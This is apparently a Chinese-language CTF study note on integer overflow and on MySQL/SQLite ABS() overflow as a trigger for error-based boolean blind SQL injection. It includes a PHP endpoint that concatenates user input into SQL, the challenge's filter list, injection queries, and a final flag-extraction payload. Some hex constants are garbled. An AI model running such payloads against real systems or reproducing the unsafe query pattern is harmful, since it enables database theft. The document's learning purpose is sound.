前言
如果你有看过我前面的SQL注入3文章,你应该会知道标题说的是什么,如果你没有看过,但是你想了解什么是整数溢出,或者了解这个技巧,也可以和我一起学习,这篇文章是我自己的学习笔记,同时这篇文章就是为了填补前面的坑,让大家和我自己都有更深刻的了解
现在是1月10日的下午,上午花了点时间把SQL注入3下上传了,不过并没有全部解出来,有两个,一个是需要 ida 分析暂时不会,一个是卡住了但是使用wp里面的脚本也无法复现,其他wp也是相同的脚本,所以也暂时放弃了
整数溢出概述
参考文献:
什么是整数溢出:
整数溢出是一个历史悠久且普遍存在的问题,它通常发生在整数超过其能够表示的最大或最小范围时。这一问题在编程实践中尤为突出,尤其是在进行数学运算、数组索引和循环控制等操作时
现在来了解一下这个整数溢出,有一个杯子,你倒水到这个杯子里面,如果超出了这个杯子最大的容量,水就会溢出来。整数溢出也是一样,在计算机中,整数通常使用固定数量的位(bit)来表示,比如八位二进制数可以表示0-255,而32位二进制数可以表示-2147483648到2147483647的整数,为什么不是-2147483648到2147483648呢,因为中间有一个0
当这个范围内的最小数转为绝对值时,就是2147483648,可是最大值的范围是2147483647,这多出来的一位怎么办呢,这就是溢出了,当然并不是说明只有绝对值时才会溢出,还有正负溢出,正溢出就是最大值加1;负溢出就是最小值减1,这样都会导致溢出,因为不在范围内了,在这种情况下,计算机通常会通过模运算(取模)来处理溢出,即将结果回绕到整数的有效范围内
如果你看过我之前的月神SRC学习笔记的第三篇应该有印象,当时对最大值溢出有一个简单的利用,如果超过了最大值就会重新回到1,因为支付不可能是负数,当我们溢出两位数2147483649,就重新回到了1,当我们正常支付后,服务器如果是根据支付是否成功来判断而不是支付的具体金额判断就会存在该逻辑漏洞
取模处理回绕到整数的有效范围,有点难以理解是吧,我们把它想象成一个时钟,当分针或其他走了一圈,范围结束了,并不会溢出到下一位,而是重头开始,比如60秒过后不会走到61,而是从0开始继续到59,这既是回绕,示例如下:
-- 正溢出 2147483647 + 1 = -2147483648 (回绕到最小值) -- 负溢出 -2147483648 - 1 = 2147483647 (回绕到最大值) -- 大数溢出 2147483647 + 100 = -2147483549这是有回绕处理的情况下,如果没有进行回绕处理,那么一旦超出这个范围,程序无法处理,导致的就是崩溃,报错等问题,严重的就会导致缓冲区溢出攻击等,这个缓冲区溢出后面再学习,只需要知道前面的这些知识即可
abs整数溢出
abs函数是用于返回一个数字的绝对值。绝对值是指一个数在数轴上距离原点的距离,不论该数是正数还是负数,绝对值总是非负的,语法如下:
abs(number)其中,
number是一个数值表达式,可以是具体的数值、列名或表达式,接下来在mysql中查看具体信息:mysql> help 'abs'; Name: 'ABS' Description: Syntax: ABS(X) Returns the absolute value of X, or NULL if X is NULL. The result type is derived from the argument type. An implication of this is that ABS(-9223372036854775808) produces an error because the result cannot be stored in a signed BIGINT value. URL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html Examples: mysql> SELECT ABS(2); -> 2 mysql> SELECT ABS(-32); -> 32可以看到这个abs函数的确会返回绝对值,但是这个函数的范围并不是32位整数,而是64位,32位整数的范围是-2147483648到2147483647,64位整数的范围是-9,223,372,036,854,775,808到9,223,372,036,854,775,807,一旦超过这个值也就是溢出了,那我们可以试一试,正的9,223,372,036,854,775,807可以用0x7FFFFFFFFFFFFFFFF十六进制表示

可以看到是0x7FFFFFFFFFFFFFFF,一个F代表15,7就是0111的二进制,最高位的二进制用来表示正负,0为无符号,1为负的

可以看到这里当最高位也是1的时候,变为了-1,因为这里负数采用了补码表示法,也就是按位取反在加1,全部都是1,取反后的结果就都是0,然后加一个1就是-1,比如我们想要-999,就将999取反,然后+1

好,知道这些基础后,我们再来看 abs 溢出的原理。我们知道,有符号64bit的范围是 -9,223,372,036,854,775,808到9,223,372,036,854,775,807,这样我们使用abs对 -9,223,372,036,854,775,808 绝对值,结果应该得到 9,223,372,036,854,775,808,但很显然有符号64bit无法表示808,最高807,所以就造成了溢出,那么传入参数0xFFFFFFFFFFFFFFFFF(等同于18446744073709552000)就会导致最大值溢出,abs如果接收到这个参数就会返回warning:
mysql> select abs(0xFFFFFFFFFFFFFFFF); +--------------------------+ | abs(0x7FFFFFFFFFFFFFFFF) | +--------------------------+ | 0 | +--------------------------+ 1 row in set, 1 warning (0.00 sec)同样,我们还可以使用0x80000000000000000来造成溢出:
mysql> select abs(0x80000000000000000); +--------------------------+ | abs(0x80000000000000000) | +--------------------------+ | 0 | +--------------------------+ 1 row in set, 1 warning (0.01 sec)可以看到都返回了0,0在计算机中又代表false,但是这个0是select的结果,如果直接abs,会报错:
mysql> abs(80000000000000000); ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'abs(80000000000000000)' at line 1
基于ABS整数溢出的布尔盲注
常规布尔盲注:
正常的查询语句:
mysql> select flag from flag where id=1; +----------------------------+ | flag | +----------------------------+ | LKCTF(xxxx-xxxx-xxxx-xxxx) | +----------------------------+ 1 row in set (0.00 sec)布尔注入的查询语句:
mysql> select flag from flag where id=1 and 1=1; +----------------------------+ | flag | +----------------------------+ | LKCTF(xxxx-xxxx-xxxx-xxxx) | +----------------------------+ 1 row in set (0.00 sec) mysql> select flag from flag where id=1 and 1=2; Empty set (0.00 sec) mysql> select flag from flag where id=1 and 0; Empty set (0.00 sec)可以看到如果后面的语句为
false经过逻辑且运算后是不会返回结果的,因为逻辑且运算需要确保两边都为true才会返回结果
基于abs函数的布尔盲注:
还是前面的语句,加上abs函数呢:
mysql> select flag from flag where id=1 and abs(123); +----------------------------+ | flag | +----------------------------+ | LKCTF(xxxx-xxxx-xxxx-xxxx) | +----------------------------+ 1 row in set (0.00 sec)使用最大值溢出,最小值溢出,或者就是0呢:
mysql> select flag from flag where id=1 and abs(0); Empty set (0.00 sec) mysql> select flag from flag where id=1 and abs(0x7FFFFFFFFFFFFFFFF); Empty set, 1 warning (0.00 sec) mysql> select flag from flag where id=1 and abs(0x80000000000000000); Empty set, 1 warning (0.00 sec)可以看到直接使用0返回的是没结果,但是也没有警告,使用最大值和最小值溢出后的结果多了一个1 warning
实际案例:
来看一个示例:
$pdo = new PDO('sqlite:../db/vote.db'); $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); if ($res === false) { die(json_encode(['error' => 'An error occurred while updating database'])); } echo json_encode([ 'message' => 'Thank you for your vote! The result will be published after the CTF finished.' ]);上面这个语句呢也是直接拼接输入,但是过滤了这些字符串:
$banword = [ // dangerous chars // " % ' * + / < = > \ _ ` ~ - "[\"%'*+\\/<=>\\\\_`~-]", // whitespace chars '\s', // dangerous functions 'blob', 'load_extension', 'char', 'unicode', '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp', 'in', 'limit', 'order', 'union', 'join' ];虽然可以直接拼接语句进行注入,但是有一点需要注意,无论我们怎么去注入:
UPDATE vote SET count = count + 1 WHERE id = 1 and 1=1; UPDATE vote SET count = count + 1 WHERE id = 1 and 1=2;最后SQL语句都是成功执行的
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); if ($res === false) {而代码判断的并不是查询到的结果,只要SQL语句执行成功了,那么PDO返回的PDOStatement对象就绝对是true,而是语句有没有执行成功,才会为flase,也就是说这两个payload都会返回
'Thank you for your vote! The result will be published after the CTF finished.'这个输出,因为语句执行成功了,而布尔盲注需要的是通过真假的两个不同页面来进行判断,很显然这样无法获取到数据那么想要通过两个不同的信息来进行布尔盲注,我们就必须让条件成立的时候语句执行失败,而想要让语句执行失败就只有语法错误和报错,语法错误很显然不可能,语法一旦存在问题,就无法执行我们的payload,那就只能尝试报错了,然后我们可以通过case(类似于if)来控制条件为真时才报错,那么就需要用到这个abs()整数溢出了
前面我们也知道了,当abs传入超出范围的值的时候就会没有结果,并且带有警告
1 warning,那么利用这一点,我们就可以让条件为真时整数溢出,导致报错,导致返回的对象结果为false,导致页面输出'An error occurred while updating database',到这后面怎么去获取数据就已经不重要了,知道这一点,你就已经能够明白什么是基于abs函数整数溢出的布尔盲注了,最后贴上一个简单的payload,可以看看:"abs(case(length(hex((select(flag)from(flag))))&{})when(0)then(0)else(0x8000000000000000)end)".format(1<<i)
官方文献:
官方关于abs函数的文献:点击跳转










